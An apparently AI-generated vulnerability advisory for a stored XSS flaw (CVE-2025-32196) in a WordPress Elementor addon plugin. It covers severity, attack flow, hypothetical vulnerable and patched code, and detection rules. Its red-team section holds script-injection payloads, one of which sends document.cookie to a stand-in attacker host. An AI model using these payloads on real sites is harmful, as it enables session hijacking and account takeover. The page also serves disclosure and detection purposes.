CVE-2025-32196
Executive Summary
CVE-2025-32196 is a Stored Cross-Site Scripting (XSS) vulnerability in the News Kit Elementor Addons WordPress plugin by Blazethemes, affecting versions up to and including 1.4.2. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages, which are then executed whenever a user accesses the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the WordPress ecosystem, this plugin is widely used for enhancing Elementor page builder functionality, making it a high-value target for supply chain attacks and persistent compromise of WordPress sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As of the latest analysis, no patch has been released by the vendor (Blazethemes). Users are advised to monitor the plugin's update channel and consider disabling the plugin until a fix is available. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level WordPress user)
- User Interaction: Required (Victim must visit the compromised page)
- Scope: Changed (Impact can extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used WordPress plugin can lead to session hijacking, defacement, and further compromise of the WordPress admin panel.
Deep Dive & Mechanics
The vulnerability exists in the news-kit-elementor-addons plugin, specifically in how it handles user input for widget settings or content fields. The plugin fails to sanitize or escape user-supplied data before rendering it in the frontend, allowing an attacker to inject malicious JavaScript.
Attack Flow:
- An attacker with contributor-level access (or higher) creates or edits a post/page using the News Kit Elementor Addons widgets.
- The attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into a vulnerable input field (e.g., title, description, or custom CSS). - The plugin stores the payload in the WordPress database without proper sanitization.
- When any user (including administrators) visits the compromised page, the payload executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Root Cause: The plugin uses echo or the_content filters without applying WordPress escaping functions like esc_html(), wp_kses(), or esc_attr().
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.
Vulnerable Code (hypothetical):
// In a widget render method
echo '<div class="news-kit-title">' . $instance['title'] . '</div>';
Patched Code (hypothetical):
// Properly escape output
echo '<div class="news-kit-title">' . esc_html( $instance['title'] ) . '</div>';
The patched version uses esc_html() to neutralize any HTML or JavaScript before rendering.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with News Kit Elementor Addons <= 1.4.2 installed and activated.
- Contributor-level account or higher.
Steps:
- Log in as a contributor.
- Create a new post or page.
- Add a News Kit Elementor Addons widget (e.g., "News Kit Title").
- In the widget's title field, inject the following payload:
<script>alert(document.cookie)</script> - Publish the post.
- As an administrator or another user, visit the published post. The JavaScript will execute.
Advanced Payload (Session Hijacking):
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress logs for unusual post content containing
<script>tags. - Use Web Application Firewall (WAF) rules to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hardening:
- Disable the plugin until a patch is released.
- Restrict contributor-level users from using vulnerable widgets via user role management.
- Apply WordPress hardening: disable file editing, use strong passwords, and enable two-factor authentication.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/news-kit-elementor-addons/(entire plugin directory) - Database: Posts/pages containing
<script>tags in post meta or content fields. - Network: Outbound HTTP requests to unknown domains from the WordPress server.
- Logs: WordPress error logs showing failed sanitization attempts or unusual widget data.
Detection Engineering
YARA Rule
rule CVE_2025_32196_Stored_XSS {
meta:
description = "Detects stored XSS payloads in News Kit Elementor Addons plugin"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-32196"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$plugin_path = "news-kit-elementor-addons"
condition:
$plugin_path and $xss_payload
}
Sigma Rule
title: Stored XSS in News Kit Elementor Addons
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via News Kit Elementor Addons plugin
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "news-kit-elementor-addons"
http.body|contains: "<script>"
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-32196 Stored XSS in News Kit Elementor Addons"; flow:to_server,established; content:"news-kit-elementor-addons"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by Blazethemes.
- Review all posts/pages created by contributor-level users for malicious content.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
Long-term Fix:
- Apply the official patch once released by the vendor.
- Update the plugin to the latest version.
- Conduct a security audit of all WordPress plugins and themes.
Workaround:
- Use a security plugin like Wordfence to add virtual patching for XSS.
- Restrict user roles to prevent contributors from using vulnerable widgets.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.